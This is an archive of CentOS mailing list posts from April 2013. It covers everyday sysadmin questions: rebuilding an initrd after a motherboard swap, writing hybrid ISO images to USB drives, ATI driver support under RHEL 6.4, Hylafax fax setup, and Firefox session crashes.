Nice. Yeah, RITA. Ugh. Sorry I forgot the git add . part... that's pretty crucial! FYI: for more info on using git, here's: http://gitimmersion.com/ Adam Wead Systems and Digital Collections Librarian Rock and Roll Hall of Fame and Museum 216.515.1960 (t) 215.515.1964 (f) On Mon, Apr 15, 2013 at 12:20 PM, ken geb...@mousecar.com wrote: Hey, fellow Cleveland dude! Thanks much. That worked fine, though I did have to do a git add after adding file(s) in. It got the files where they needed to go. You might have noticed another post here from me about it, but what I put out there was a gnumeric workbook I've been using for a long time to do my taxes-- Federal, state of Ohio, and local (which you as a Cleveland guy know as RITA). So if you haven't done your taxes yet, it might help. https://github.com/gebser/US-taxes-gnumeric.git Thanks again. On 04/15/2013 11:23 AM Adam Wead wrote: git clonehttps://git.com/username/my-repo cd my-repo [edit/add files] git status # to preview your chnages git commit -mAdding new and changed files to my repo git push ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
Bowie Bailey wrote: On 4/12/2013 5:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. When I try to boot up, I get this: Volume group VolGroup00 not found ERROR: /bin/lvm exited abnormally! (pid 448) mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! (I apologize for any typos, I don't have a way to copy/paste from that screen) I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. Just sort of guessing - could the new m/b have resulted in a new UUID, and the configuration - fstab? hwconf? - is looking for the old? mark I like LABEL= ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
Bowie Bailey wrote: On 4/12/2013 5:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. When I try to boot up, I get this: Volume group VolGroup00 not found ERROR: /bin/lvm exited abnormally! (pid 448) mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! (I apologize for any typos, I don't have a way to copy/paste from that screen) I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. Sorry, hit send and had another thought: I think you said you rebuilt the initrd... *could* you see the drives? *Did* the running system you rebuilt from have all the LVM drivers loaded when you rebuilt it? mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On Mon, Apr 15, 2013 at 12:35 PM, m.r...@5-cent.us wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. CentOS 4 - seriously??? I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. Sorry, hit send and had another thought: I think you said you rebuilt the initrd... *could* you see the drives? *Did* the running system you rebuilt from have all the LVM drivers loaded when you rebuilt it? You need to include whatever drivers loaded in rescue mode in the new initrd, but I've forgotten the exact details. In Centos5 you would add alias entries to /etc/modprobe.conf but it might have been named something else in C4. Maybe you can see what is there before you chroot to the installed instance and change the file there to match, then make the new initrd. Once in a similar circumstance I just copied the whole contents of ./boot from a different machine with identical hardware so I didn't have to know as much as anaconda about matching hardware and drivers. -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] idea: hybrid iso images?
In order to create a bootable CentOS installation USB thumb drive, there are several steps one must follow. The process often involves using a Windows box, which can be kinda annoying. The Linux Mint distro has what they call a Hybrid iso image. (see: http://community.linuxmint.com/tutorial/view/744 ) This image can be written to a thumb drive and used for installation simply by performing: # dd /path/to/image.iso of=/dev/sdb (where /dev/sdb is the thumb drive device). This thumb drive can now be booted and used for installation. The same image.iso file can be written to CD/DVD to create the installation media as well. Is this a complicated ISO build process? I'm frequently installing to systems without CD/DVD drives, so this would come in handy. Thanks! Regards, Joseph Spenner __ If life gives you lemons, keep them-- because hey.. free lemons. ♥ Sticker fixer: http://microflush.org/stuff/stickers/heartFix.html ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] CentOS 6.3 gpgv: Libgcrypt warning: missing initialization - please fix the application
Howdy, Seemingly randomly every day the following appears in /var/log/messages gpgv: Libgcrypt warning: missing initialization - please fix the application gpgv: Libgcrypt warning: missing initialization - please fix the application ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] CentOS 6.3 gpgv: Libgcrypt warning: missing initialization - please fix the application
Ahh, premature send! My apologies. Seemingly random times every day the following appears in /var/log/messages gpgv: Libgcrypt warning: missing initialization - please fix the application gpgv: Libgcrypt warning: missing initialization - please fix the application --snip-- Anyone have any insight on what could be causing this and how to fix it? locate gpgv /usr/bin/gpgv /usr/bin/gpgv2 rpm -qf /usr/bin/gpgv gnupg2-2.0.14-4.el6.x86_64 rpm -qf /usr/bin/gpgv2 gnupg2-2.0.14-4.el6.x86_64 Thanks in advance! On Mon, Apr 15, 2013 at 11:16 AM, P J pauljfli...@gmail.com wrote: Howdy, Seemingly randomly every day the following appears in /var/log/messages gpgv: Libgcrypt warning: missing initialization - please fix the application gpgv: Libgcrypt warning: missing initialization - please fix the application ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] idea: hybrid iso images?
On 15.04.2013 19:07, Joseph Spenner wrote: In order to create a bootable CentOS installation USB thumb drive, there are several steps one must follow. The process often involves using a Windows box, which can be kinda annoying. The Linux Mint distro has what they call a Hybrid iso image. (see: http://community.linuxmint.com/tutorial/view/744 ) This image can be written to a thumb drive and used for installation simply by performing: # dd /path/to/image.iso of=/dev/sdb (where /dev/sdb is the thumb drive device). This thumb drive can now be booted and used for installation. The same image.iso file can be written to CD/DVD to create the installation media as well. Is this a complicated ISO build process? I'm frequently installing to systems without CD/DVD drives, so this would come in handy. Centos ISOs have been hybrid for a while now AFAIK. Have you tried them and did not work? -- Sent from the Delta quadrant using Borg technology! Nux! www.nux.ro ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] ATI video driver problems
On 15/04/13 17:57, m.r...@5-cent.us wrote: Hi, Ned, Ned Slider wrote: On 15/04/13 16:57, m.r...@5-cent.us wrote: User got upgraded to 6.4. Graphical mode video fails. It's an AMD (nee ATI) RV620 (FirePro 2260). So I finished upgrading everything, including kmod-fglrx. Based on the xorg.conf's on there, it's been using the fglrx. Now, in Xorg.0.log, it tells me no supported AMD display adapters were found. I've been on-and-off googling for hours, and can't figure out if the legacy kmod-nvidia from elrepo will work: their info *ONLY* lists Radeon cards, and I can't figure out what this damn thing is. Oh, lspci -v tells me it's ATI device 2343. Anyone know what this card is like (AMD shows three different models of the same name, and I have no idea which it is, and none uses a Radeon name), and what driver I might use, or do I have to downgrade X It is no longer supported. The current AMD driver [v13.1] ONLY supports Radeon HD 5000 series and above, with the legacy driver [v13.1 legacy] supporting older Radeon HD 2000, HD 3000 or HD 4000 series cards (I assume yours is a 2000 series card) *BUT* the legacy driver does NOT support X server ABI 13 in the version of Xorg shipped with RHEL 6.4. So your card is not supported by AMD as the version of Xorg server in RHEL 6.4 is too new. That's what I was coming to think - the one thing that had me stopped was what it *was*. Do I understand you to be saying that this is a Radeon HD 2xxx (and why *three* names, two from ATI?)? FirePro 2260 leads me to believe it's a 2000 series card. Having the Vendor:Device ID pairing would help clarify, but looking at the pci id's database I'm guessing it's either 1002:95ce or 1002:95cf. Also, it appears that you're saying I need to downgrade his X (all of it?), and remove the kmod-fglrx, and install the legacy (is that the kmod-fglrx93? You have a number of choices: 1. Use the v13.1 legacy driver from AMD and downgrade xorg\* to the last release that came with RHEL 6.3 and exclude future updates. If you wish to use the elrepo package it's called kmod-fglrx-legacy / fglrx-legacy-x11-drv (currently version 13.1-2) and is currently in the testing repo. Obviously downgrading xorg packages has potential security implications. 2. Uninstall the AMD proprietary drivers and use the distro kernel driver. 3. Ask AMD when they will update the legacy driver to support Xorg ABI 13. 4. Buy a new (supported) card. A fifth option is to use el5 which uses an older supported version of Xorg (I do find it kind of ironic that RHEL6 ships with such a new version of Xorg that some proprietary drivers don't support it - more the kind of thing you expect to run into on Ubuntu or Fedora than Enterprise Linux). ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] Asterisk, IAXModem and Hylafax
On Mon, April 15, 2013 at 16:35:35 UTC, Tim Nelson tnelson at rockbochs.com wrote: I've run into this quite often. Typically I just create a symlink to where the font data is, then rerun 'faxsetup'. Ex: ln -s /usr/share/ghostscript/8.70/lib /usr/share/ghostscript/fonts Then, all is well. Also, unrelated, ensure you disabled tokens in your Asterisk IAX config. Otherwise, iaxmodem will not register as it does not support tokens at this time. --Tim Thank you. After I wrote I checked in /etc/hylafax/hyla.conf and that listed some of the directories where fonts are found in CentOS-6.3 and many places where they are not. So I treated the error message from faxsetup as spurious and proceeded on that basis. I had already encountered the difficulty with tokens and had set that to 'no' in the fax device profiles. (We are using the users and devices mode of Asterisk rather than extensions.) I can now register each of the two fax lines I have configured. Albeit one at a time because I have only one spare POTS line to play with. However, whenever I call in I only get the ss-noservice.ulaw recording. I assume that is specifically an asterisk question so I will take to the Asterisk users list. Thank you again for your help. -- *** E-Mail is NOT a SECURE channel *** James B. Byrnemailto:byrn...@harte-lyne.ca Harte Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On 4/15/2013 1:33 PM, m.r...@5-cent.us wrote: Bowie Bailey wrote: On 4/12/2013 5:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. When I try to boot up, I get this: Volume group VolGroup00 not found ERROR: /bin/lvm exited abnormally! (pid 448) mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! (I apologize for any typos, I don't have a way to copy/paste from that screen) I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. Just sort of guessing - could the new m/b have resulted in a new UUID, and the configuration - fstab? hwconf? - is looking for the old? The drives are in an md array (raid 1) which is used as the PV for the volume group that is producing the error. fstab simply references the logical volume. LVM configuration refers to /dev/md1. mdadm.conf simply says device partitions. I can't go any farther than that without a running system. -- Bowie ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On 4/15/2013 1:35 PM, m.r...@5-cent.us wrote: Bowie Bailey wrote: On 4/12/2013 5:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. When I try to boot up, I get this: Volume group VolGroup00 not found ERROR: /bin/lvm exited abnormally! (pid 448) mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! (I apologize for any typos, I don't have a way to copy/paste from that screen) I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. Sorry, hit send and had another thought: I think you said you rebuilt the initrd... *could* you see the drives? *Did* the running system you rebuilt from have all the LVM drivers loaded when you rebuilt it? I can see the drives from the rescue environment. I don't know how to check the LVM drivers. -- Bowie ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On 4/15/2013 1:44 PM, Les Mikesell wrote: On Mon, Apr 15, 2013 at 12:35 PM, m.r...@5-cent.us wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. CentOS 4 - seriously??? Yea, it's an old system. I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Anyone have any ideas here? I can rebuild the machine if I have to, but that's a last resort. Sorry, hit send and had another thought: I think you said you rebuilt the initrd... *could* you see the drives? *Did* the running system you rebuilt from have all the LVM drivers loaded when you rebuilt it? You need to include whatever drivers loaded in rescue mode in the new initrd, but I've forgotten the exact details. In Centos5 you would add alias entries to /etc/modprobe.conf but it might have been named something else in C4. Maybe you can see what is there before you chroot to the installed instance and change the file there to match, then make the new initrd. Once in a similar circumstance I just copied the whole contents of ./boot from a different machine with identical hardware so I didn't have to know as much as anaconda about matching hardware and drivers. There is a /etc/modprobe.conf file on the original system. Among other things, it says: alias scsi_hostadapter sata_nv I assume that refers to the driver for the nvidia chipset. I found a modprobe.conf file in the rescue environment living in /tmp/modprobe.conf. This one says: alias scsi_hostadapter ahci I guess that's a driver that works with the new hardware? I do not have the ports in ahci mode in the bios. What do I need to do to make sure the driver gets into initrd? Or do I just need to make the change to /etc/modprobe.conf on the hard drive? -- Bowie ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On Mon, Apr 15, 2013 at 1:54 PM, Bowie Bailey bowie_bai...@buc.com wrote: CentOS 4 - seriously??? Yea, it's an old system. If you have somewhere to copy the data, the best approach would be to back it up from the rescue-mode boot, reinstall centos 6 and copy back anything you need - and be good for another many years. There is a /etc/modprobe.conf file on the original system. Among other things, it says: alias scsi_hostadapter sata_nv I assume that refers to the driver for the nvidia chipset. I found a modprobe.conf file in the rescue environment living in /tmp/modprobe.conf. This one says: alias scsi_hostadapter ahci I guess that's a driver that works with the new hardware? I do not have the ports in ahci mode in the bios. lsmod from the running rescue system should show the loaded modules. Your initrd has to include anything needed to access the hard drive and filesystem before you can find the others. What do I need to do to make sure the driver gets into initrd? Or do I just need to make the change to /etc/modprobe.conf on the hard drive? I think you would change the /etc/modprobe.conf on the hard drive and chroot there (/mnt/sysimage) before running mkinitrd. -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
On 4/15/2013 3:10 PM, Les Mikesell wrote: On Mon, Apr 15, 2013 at 1:54 PM, Bowie Bailey bowie_bai...@buc.com wrote: CentOS 4 - seriously??? Yea, it's an old system. If you have somewhere to copy the data, the best approach would be to back it up from the rescue-mode boot, reinstall centos 6 and copy back anything you need - and be good for another many years. This system is running BackupPC. The number of hardlinks in the data makes copying impractical. I may rebuild it with CentOS 6 later and let the backups rebuild themselves, but I don't want to do it now if I can avoid it. There is a /etc/modprobe.conf file on the original system. Among other things, it says: alias scsi_hostadapter sata_nv I assume that refers to the driver for the nvidia chipset. I found a modprobe.conf file in the rescue environment living in /tmp/modprobe.conf. This one says: alias scsi_hostadapter ahci I guess that's a driver that works with the new hardware? I do not have the ports in ahci mode in the bios. lsmod from the running rescue system should show the loaded modules. Your initrd has to include anything needed to access the hard drive and filesystem before you can find the others. What do I need to do to make sure the driver gets into initrd? Or do I just need to make the change to /etc/modprobe.conf on the hard drive? I think you would change the /etc/modprobe.conf on the hard drive and chroot there (/mnt/sysimage) before running mkinitrd. I figured that one out just before I received your response. That fixed the bootup problem. The changes to modprobe.conf were what was missing from the instructions I found online on Friday. For future reference, this is what I did: 1) Boot into rescue mode. 2) Look at /tmp/modprobe.conf in the rescue environment to see what driver was in use. 3) Edit /mnt/sysimage/etc/modprobe.conf and add the driver there 4) chroot /mnt/sysimage 5) cd /boot 6) mv initrd-(kernel version).img initrd-(kernel version).img.bkup 7) mkinitrd initrd-(kernel version).img (kernel version) 8) reboot Now I've just got to work on getting the network card going, but that (I hope!) should be much easier now that the system is booting. -- Bowie ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
This is a strange one to me. Just recently, my Centos 6 has been gentle crashing where it doesn't crash, per se, but the screen goes black, and the login prompt pops up. It only happens when I run Firefox and it only started happening this morning. However, it has happened a dozen times, and always when Firefox is running. It does NOT happen when Firefox is not running. I haven't tested with Chrome yet; so that's my next test - but - the question I have is: How do I log the events that are causing Centos to log me out of user1 and to present the login screen? ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
On Mon, 15 Apr 2013 19:29:05 + (UTC) Rock wrote: Just recently, my Centos 6 has been gentle crashing where it doesn't crash, per se, but the screen goes black, and the login prompt pops up. It only happens when I run Firefox and it only started happening this morning. However, it has happened a dozen times, and always when Firefox is running. Your desktop is crashing, not the entire machine. Try renaming ~/.mozilla to something else, then run firefox and see if it still crashes. -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com www.creekfm.com - FIFTY THOUSAND WATTS of POW WOW POWER! ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] idea: hybrid iso images?
From: Nux! n...@li.nux.ro To: CentOS mailing list centos@centos.org Sent: Monday, April 15, 2013 11:26 AM Subject: Re: [CentOS] idea: hybrid iso images? On 15.04.2013 19:07, Joseph Spenner wrote: In order to create a bootable CentOS installation USB thumb drive, there are several steps one must follow. The process often involves using a Windows box, which can be kinda annoying. The Linux Mint distro has what they call a Hybrid iso image. (see: http://community.linuxmint.com/tutorial/view/744 ) This image can be written to a thumb drive and used for installation simply by performing: # dd /path/to/image.iso of=/dev/sdb (where /dev/sdb is the thumb drive device). This thumb drive can now be booted and used for installation. The same image.iso file can be written to CD/DVD to create the installation media as well. Is this a complicated ISO build process? I'm frequently installing to systems without CD/DVD drives, so this would come in handy. Centos ISOs have been hybrid for a while now AFAIK. Have you tried them and did not work? = Nux: I just tried again, using an 8G thumb drive, with the CentOS-6.4-x86_64-minimal.iso image on my 64bit Dell laptop, and got a quick error: no boot sector found on USB device It then proceeded to boot the next device in the boot order list. I also tried it on 2 other Dell servers, and neither would boot the thumb drive. I then dd'd the latest Linux Mint iso to the same thumb drive, and it worked fine on my laptop. So, perhaps the CentOS images can not (yet) be used this way. Have you tried? Thanks for the reply! Regards, Joseph Spenner __ If life gives you lemons, keep them-- because hey.. free lemons. ♥ Sticker fixer: http://microflush.org/stuff/stickers/heartFix.html ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] ATI video driver problems
Ned Slider wrote: On 15/04/13 17:57, m.r...@5-cent.us wrote: Ned Slider wrote: On 15/04/13 16:57, m.r...@5-cent.us wrote: User got upgraded to 6.4. Graphical mode video fails. It's an AMD (nee ATI) RV620 (FirePro 2260). So I finished upgrading everything, including kmod-fglrx. Based on the xorg.conf's on there, it's been using the fglrx. Now, in Xorg.0.log, it tells me no supported AMD display adapters were found. I've been on-and-off googling for hours, and can't figure out if the legacy kmod-nvidia from elrepo will work: their info *ONLY* lists Radeon cards, and I can't figure out what this damn thing is. Oh, lspci -v tells me it's ATI device 2343. FirePro 2260 leads me to believe it's a 2000 series card. Having the Vendor:Device ID pairing would help clarify, but looking at the pci id's database I'm guessing it's either 1002:95ce or 1002:95cf. Not sure how to get that - lspci -vvv | grep 1002 gets me nothing. Also, it appears that you're saying I need to downgrade his X (all of it?), and remove the kmod-fglrx, and install the legacy (is that the kmod-fglrx93? You have a number of choices: 1. Use the v13.1 legacy driver from AMD and downgrade xorg\* to the last release that came with RHEL 6.3 and exclude future updates. If you wish to use the elrepo package it's called kmod-fglrx-legacy / fglrx-legacy-x11-drv (currently version 13.1-2) and is currently in the testing repo. Obviously downgrading xorg packages has potential security implications. That's become a no-starter: I tried to downgrade, and yum tells me there *is* no downgrade. If I understand correctly... I'd have to downgrade him to 6.3. 2. Uninstall the AMD proprietary drivers and use the distro kernel driver. 3. Ask AMD when they will update the legacy driver to support Xorg ABI 13. See the last sentence in my answer to 4. 4. Buy a new (supported) card. That's try and get it through purchasing, or maybe I can try the unlikely idea, since it's still under warranty (we just bought it in Nov!), to see if Dell will replace the card. I have a call into them, and am waiting for the RH group there to get back to me, to see if they have a driver (and maybe lean on them to lean on AMD - Dell leans a *lot* harder than I do). A fifth option is to use el5 which uses an older supported version of Xorg (I do find it kind of ironic that RHEL6 ships with such a new version of Xorg that some proprietary drivers don't support it - more the kind of thing you expect to run into on Ubuntu or Fedora than Enterprise Linux). I don't think I'm going to rebuild his entire system that way. 6.3 would work, but I'm seeing what I can do to avoid that. several hours later I've got it working with radeon. What I've spent an hour or two on is hand-crafting an xorg.conf. He's got two monitors, and rotates them (*sigh*). Everything seems right, except for one detail: I can't drag the mouse from one screen to the next. I have Option Xinerama 1, but no joy. Clues? mark almost there I've been ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] New motherboard - kernel panic
Bowie Bailey wrote: On 4/15/2013 1:35 PM, m.r...@5-cent.us wrote: Bowie Bailey wrote: On 4/12/2013 5:33 PM, Bowie Bailey wrote: I had to replace the motherboard on one of my CentOS 4 systems and am now getting a kernel panic. When I try to boot up, I get this: Volume group VolGroup00 not found ERROR: /bin/lvm exited abnormally! (pid 448) mount: error 6 mounting ext3 mount: error 2 mounting none switchroot: mount failed: 22 umount /initrd/dev failed: 2 Kernel panic - not syncing: Attempted to kill init! (I apologize for any typos, I don't have a way to copy/paste from that screen) I can boot up with the boot CD, go into rescue mode and browse the files, so I know the drives are ok. I found some stuff online saying that I should recreate my initrd from rescue mode if the motherboard changed. I tried this, but am still getting the same results. Sorry, hit send and had another thought: I think you said you rebuilt the initrd... *could* you see the drives? *Did* the running system you rebuilt from have all the LVM drivers loaded when you rebuilt it? I can see the drives from the rescue environment. I don't know how to check the LVM drivers. You need *both* the md drivers and lvm drivers. I haven't built a system using lvm in years, I'm afraid, but it shouldn't be too hard. Btw, this may be of some interest: http://www.centos.org/docs/5/html/Cluster_Logical_Volume_Manager/device_mapper.html mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] ATI video driver problems
m.r...@5-cent.us wrote: Ned Slider wrote: On 15/04/13 17:57, m.r...@5-cent.us wrote: Ned Slider wrote: On 15/04/13 16:57, m.r...@5-cent.us wrote: User got upgraded to 6.4. Graphical mode video fails. It's an AMD (nee ATI) RV620 (FirePro 2260). So I finished upgrading everything, including kmod-fglrx. Based on the xorg.conf's on there, it's been using the fglrx. Now, in Xorg.0.log, it tells me no supported AMD display adapters were found. I've been on-and-off googling for hours, and can't figure out if the legacy kmod-nvidia from elrepo will work: their info *ONLY* lists Radeon cards, and I can't figure out what this damn thing is. Oh, lspci -v tells me it's ATI device 2343. FirePro 2260 leads me to believe it's a 2000 series card. Having the Vendor:Device ID pairing would help clarify, but looking at the pci id's database I'm guessing it's either 1002:95ce or 1002:95cf. Not sure how to get that - lspci -vvv | grep 1002 gets me nothing. google is your friend, and you don't have to go through many pages of hits for that one: http://lmgtfy.com/?q=Vendor%3ADevice+ID+pairingl=1 Also, it appears that you're saying I need to downgrade his X (all of it?), and remove the kmod-fglrx, and install the legacy (is that the kmod-fglrx93? You have a number of choices: 1. Use the v13.1 legacy driver from AMD and downgrade xorg\* to the last release that came with RHEL 6.3 and exclude future updates. If you wish to use the elrepo package it's called kmod-fglrx-legacy / fglrx-legacy-x11-drv (currently version 13.1-2) and is currently in the testing repo. Obviously downgrading xorg packages has potential security implications. That's become a no-starter: I tried to downgrade, and yum tells me there *is* no downgrade. If I understand correctly... I'd have to downgrade him to 6.3. no. only xorg and friends as Ned told you... you *will* have to do some repo configuring to do that, though. I'm sure google can help you there too. that part of your email is probably irrelevant if you got it working with the radeon driver, but for the record... ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] CentOS 6.3 gpgv: Libgcrypt warning: missing initialization - please fix the application
If it helps, I figured out the application causing the error message. It's Ksplice's uptrace-upgrade which runs via cron... Still not sure what the solution is, or if this error is benign. On Mon, Apr 15, 2013 at 11:18 AM, P J pauljfli...@gmail.com wrote: Ahh, premature send! My apologies. Seemingly random times every day the following appears in /var/log/messages gpgv: Libgcrypt warning: missing initialization - please fix the application gpgv: Libgcrypt warning: missing initialization - please fix the application --snip-- Anyone have any insight on what could be causing this and how to fix it? locate gpgv /usr/bin/gpgv /usr/bin/gpgv2 rpm -qf /usr/bin/gpgv gnupg2-2.0.14-4.el6.x86_64 rpm -qf /usr/bin/gpgv2 gnupg2-2.0.14-4.el6.x86_64 Thanks in advance! On Mon, Apr 15, 2013 at 11:16 AM, P J pauljfli...@gmail.com wrote: Howdy, Seemingly randomly every day the following appears in /var/log/messages gpgv: Libgcrypt warning: missing initialization - please fix the application gpgv: Libgcrypt warning: missing initialization - please fix the application ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] No more support for chrome/chromium on rhel6
On 04/15/2013 01:26 AM, Robert Arkiletian wrote: Is there any chance CentOS might add Chromium to extras repo? See below. Post from Hirakendu: https://groups.google.com/a/chromium.org/forum/?fromgroups#!topic/chromium-discuss/I_ZFDJqdiyA --- I have put up some scripts for building current Chromium versions (26 and 27) on EL 6 at https://github.com/hirakendu/chromium_el_builder . See the readme for details. Due to the large file size, the current RPM chromium-26.0.1410.63-192696.x86_64.rpm, built on CentOS 6.4, can be obtained by downloading the project archive.Please note that this is only for the time being and I do not intend to actively maintain it, but I hope it may help others. A couple of patches may be merged as well. Aside, thanks to Paweł for maintaining the excellent chromium ebuilds for Gentoo Linux (which I have been happily using for several years) that helped clarify some of the build steps, in addition to the official build instructions at chromium.org. I will be glad to build it, *IF* I can reproduce what the script does inside an SRPM (looks like I should be able to). One of our rules is an SRPM for everything we release. The problem is, if he is not going to support it later, his gcc patches may not keep working on newer code and we only gain a couple of builds and run out of support. Since I personally use chrome as my browser (and obviously CentOS-6.4 as my OS :D) ... and want to continue to do so ... I will look at this soon. Thanks, Johnny Hughes signature.asc Description: OpenPGP digital signature ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
On Mon, Apr 15, 2013 at 07:29:05PM +, Rock wrote: This is a strange one to me. Just recently, my Centos 6 has been gentle crashing where it doesn't crash, per se, but the screen goes black, and the login prompt pops up. It only happens when I run Firefox and it only started happening this morning. However, it has happened a dozen times, and always when Firefox is running. It does NOT happen when Firefox is not running. I haven't tested with Chrome yet; so that's my next test - but - the question I have is: How do I log the events that are causing Centos to log me out of user1 and to present the login screen? Do you have an NVIDIA graphics card? if yes, are you using the driver package directly from NVIDIA (as opposed to onoe of the RPM versions from, e.g., epel, or wherever... I've had what you describe happen to me under those circumstances. The nvidia drivers replace some system library, and now and then (not too often, in my experience, in fact pretty rarely) that system lib gets updated, threby trashing the Nvidia replacement. When that happens, firing up firefox will kill X, dropping you back to the login. if that sounds like what you see, just go rerun the nvidia installer, then you should be working again. -- Fred Smith -- fre...@fcshome.stoneham.ma.us Do you not know? Have you not heard? The LORD is the everlasting God, the Creator of the ends of the earth. He will not grow tired or weary, and his understanding no one can fathom. - Isaiah 40:28 (niv) - ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
[CentOS] Regarding : ATI video driver problems
I gather from the discussion on the reference thread that I'll be having quite a time with a MB having an Integrated ATI Radeon HD 3000 graphics chip set and a video card using a Radeon HD 6570 chip set when I try to run CentOS 6.4 on it. I was going to ask if CrossFire works with CentOS, but it appears that the integrated chip set isn't going to work at all. Well, ignoring all that, is CrossFire supported by any of the drivers available for CentOS 6.4? If no then what about SLI support? I don't want to paint myself into a corner by building a computer that I'll never get working to full potential. Anyway, here's my wish list as it stands at the moment. Brand Model_Num Mother BoardGIGABYTEGA-78LMT-USB3 Processor AMD FX-8150 CPU Cooler CaseCooler Master HAF 912 RC-912-KKN1 Power SupplyCooler Master RS650-ACAAE3-US Memory CORSAIR CMX32GX3M4A1333C9 DVD Burner Lite-On IHAS324-98 Hard Drive Seagate ST1000DM003 Video Card GIGABYTEGV-R657OC-1GI Feel free to suggest changes that might make compatibility less of an issue. I chose the MB because it supports 32G of RAM and also has a parallel port that I need to support my laser printer. I suppose I could use a parallel port interface card with another MB instead. -- _ °v° /(_)\ ^ ^ Mark LaPierre Registered Linux user No #267004 https://linuxcounter.net/ ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] My linux keeps logging me off when I run Firefox (how to debug)?
